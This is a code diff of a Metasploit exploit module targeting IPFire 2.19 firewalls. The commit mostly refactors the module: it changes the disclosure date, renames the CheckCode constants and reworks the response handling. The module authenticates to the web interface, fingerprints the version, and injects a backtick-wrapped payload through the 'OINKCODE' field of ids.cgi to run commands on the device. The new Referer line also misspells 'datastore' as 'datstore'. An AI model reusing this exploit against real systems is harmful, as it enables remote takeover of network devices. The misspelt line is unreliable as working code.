@@ -44,7 +44,7 @@ def initialize(info = {})
44
44
[ 'Automatic Target' , { } ]
45
45
] ,
46
46
'DefaultTarget' => 0 ,
47
- 'DisclosureDate' => 'Jun 09 2016 '
47
+ 'DisclosureDate' => 'Jun 09 2017 '
48
48
)
49
49
)
50
50
@@ -53,7 +53,7 @@ def initialize(info = {})
53
53
OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'admin' ] ) ,
54
54
OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , '' ] ) ,
55
55
Opt ::RPORT ( 444 )
56
- ] , self . class
56
+ ]
57
57
)
58
58
end
59
59
@@ -62,18 +62,18 @@ def check
62
62
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
63
63
# after a chat with @bcoles in IRC.
64
64
res = send_request_cgi (
65
- 'uri' => '/cgi-bin/pakfire.cgi' ,
66
- 'method' => 'GET' ,
65
+ 'uri' => '/cgi-bin/pakfire.cgi' ,
66
+ 'method' => 'GET' ,
67
67
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
68
68
)
69
69
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
70
70
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
71
71
/\< strong\> IPFire (?<version>[\d .]{4}) \( [\w ]+\) - Core Update (?<update>[\d ]+)/ =~ res . body
72
72
73
- if version && update && version == "2.19" && update . to_i <= 110
74
- Exploit :: CheckCode ::Appears
73
+ if version && update && version . eql? "2.19" && update . to_i <= 110
74
+ CheckCode ::Appears
75
75
else
76
- Exploit :: CheckCode ::Safe
76
+ CheckCode ::Safe
77
77
end
78
78
rescue ::Rex ::ConnectionError
79
79
fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to the web service" )
@@ -87,11 +87,10 @@ def exploit
87
87
res = send_request_cgi (
88
88
'uri' => '/cgi-bin/ids.cgi' ,
89
89
'method' => 'POST' ,
90
- 'ctype' => 'application/x-www-form-urlencoded' ,
91
90
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
92
91
'headers' =>
93
92
{
94
- 'Referer' => "https://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
93
+ 'Referer' => "#{ datstore [ 'SSL' ] ? ' https' : 'http' } ://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
95
94
} ,
96
95
'vars_post' => {
97
96
'ENABLE_SNORT_GREEN' => 'on' ,
@@ -100,13 +99,14 @@ def exploit
100
99
'OINKCODE' => "`#{ payload . encoded } `" ,
101
100
'ACTION' => 'Download new ruleset' ,
102
101
'ACTION2' => 'snort'
103
- } ,
102
+ }
104
103
)
105
104
106
105
# success means we hang our session, and wont get back a response
107
106
if res
108
- fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
109
107
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" ) if res . code != 200
108
+ else
109
+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Could not connect to web service - no response" )
110
110
end
111
111
112
112
rescue ::Rex ::ConnectionError
0 commit comments